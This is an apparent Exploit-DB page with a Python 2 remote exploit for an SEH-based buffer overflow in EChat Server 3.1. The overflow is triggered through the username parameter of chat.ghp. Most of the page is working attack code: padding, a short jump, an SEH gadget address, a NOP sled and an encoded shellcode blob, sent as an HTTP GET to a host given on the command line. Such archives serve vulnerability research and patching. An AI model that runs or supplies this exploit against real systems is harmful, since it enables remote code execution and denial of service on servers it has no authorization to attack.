EChat Server 3.1 - 'CHAT.ghp' Buffer Overflow

EDB-ID:
44155

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
REMOTE

Exploit: / {}

Platform:
WINDOWS

Date:
2018-02-21

Vulnerable App:

```
# Exploit Author: Juan Sacco <jsacco@exploitpack.com>
# Vulnerability found using Exploit Pack v10 - http://exploitpack.com
#
# Impact:
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in
adenial-of-service condition.
#
# Program description:
# Easy Chat Server is a easy, fast and affordable way to host and manage
your own real-time communication software,
# it allows friends/colleagues to chat with you through a Web Browser (IE,
Safari, Chrome, Opera etc.)
# Vendor page: http://www.echatserver.com/

import string, sys
import socket, httplib
import struct

def exploit():
  try:
    junk = '\x41' * 217
    shortjmp = "\xeb\x08\xcc\xcc" # Jump over SEH
    seh = struct.pack('<L', 0x100154c5) # ADD ESP,2C # POP ESI # ADD ESP,0C
# RETN    ** [SSLEAY32.dll] **   |   {PAGE_EXECUTE_READ}
    buffersize = 2775
    nops = "\x90"
    # debug = "\xcc\xcc\xcc\xcc"
    shellcode =
("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"

"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"

"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"

"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"

"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"

"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"

"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"

"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"

"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"

"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"

"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"

"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"

"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"

"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"

"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
                "\x1c\x80")
    buffer = junk + shortjmp + seh + nops * (buffersize -
(len(shellcode))) + shellcode
    print buffer
    URL = '/chat.ghp?username=' + buffer + '&password=null&room=1&null=2'
    conn = httplib.HTTPConnection(host, port)
    conn.request('GET', URL)
    conn.close()
```

```
  except Exception as Error:
    print "[!] Something went wrong!"
    print Error

def howtousage():
  print "[!] Sorry, minimum required arguments: [host] [port]"
  sys.exit(-1)

if __name__ == '__main__':
  print "[*] EChat Server v3.1 CHAT.ghp (UserName)"
  print "[*] Author: Juan Sacco <jsacco@exploitpack>"

  try:
    host = sys.argv[1]
    port = sys.argv[2]
  except IndexError:
    howtousage()
exploit()
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions